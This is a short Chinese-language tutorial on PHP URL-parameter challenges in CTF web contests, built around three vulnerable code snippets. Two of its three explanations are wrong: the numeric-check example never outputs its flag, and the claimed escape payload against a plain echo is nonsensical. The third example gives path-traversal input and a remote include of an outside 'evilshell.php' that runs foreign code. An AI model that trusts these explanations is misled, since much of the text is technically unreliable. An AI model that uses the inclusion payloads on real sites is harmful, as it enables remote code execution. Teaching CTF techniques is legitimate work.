CTF作為一種近年來(lái)越來(lái)越流行的信息安全競(jìng)賽模式,其中Web安全競(jìng)賽中的php url題型也成為了一個(gè)熱門(mén)的考點(diǎn)。php url題目通過(guò)給出一段代碼和url參數(shù)的方式,要求選手在不修改代碼的情況下獲取到指定的flag。php url題目往往涉及到php中的各種特性和函數(shù),下面將通過(guò)多個(gè)例子詳細(xì)講解。
例一:對(duì)URL參數(shù)進(jìn)行類(lèi)型檢查
<?php
$flag = 'CTF{url_param_hack}';
$input = $_GET['input'];
if (is_numeric($input)) {
echo "Input value is numeric";
}
else {
echo 'Sorry, the input value is invalid';
}
?>
在這個(gè)例子中,我們可以看到代碼對(duì)input參數(shù)進(jìn)行了is_numeric()函數(shù)的類(lèi)型檢測(cè),如果輸入值正確,則只會(huì)返回"Input value is numeric",并不會(huì)返回flag,因此我們需要注入一些非數(shù)字的值,讓函數(shù)判斷為非數(shù)字,這樣就可以成功獲取flag。
例二:使用字符轉(zhuǎn)義符進(jìn)行注入
<?php
$flag = 'CTF{php_url_injection}';
$input = $_GET['input'];
echo "Hi $input";
?>
在這個(gè)例子中,我們可以看到使用了double-quoted strings中使用的變量替換方式來(lái)實(shí)現(xiàn)使用$輸入?yún)?shù)的輸出。然而,當(dāng)我們輸入$input變量為一個(gè)包含引號(hào)的字符串時(shí),就會(huì)出現(xiàn)問(wèn)題。這時(shí)可以使用反斜杠進(jìn)行轉(zhuǎn)義,繞過(guò)字符轉(zhuǎn)義的效果,輸入payload為:a\")";,即可成功獲取flag
例三:利用特殊字符進(jìn)行文件包含
<?php
$flag = 'CTF{file_include_challenge}';
$filename = $_GET['filename'];
include $filename.".php";
?>
在這個(gè)例子中,我們可以看到代碼中使用了include函數(shù)來(lái)加載輸入的$filename的php文件。這時(shí),我們可以在filename中輸入一些特殊字符來(lái)進(jìn)行文件包含。如:../flag, /flag等目錄跳轉(zhuǎn),或者直接輸入http://example.com/evilshell.php等外部鏈接,都可以讓代碼執(zhí)行外部文件的惡意代碼,得到flag。
以上僅是php url題目的冰山一角,CTF中的php url題目還有很多其他的玩法和技巧,只有不斷學(xué)習(xí)和嘗試才能更好地掌握這個(gè)競(jìng)賽題型。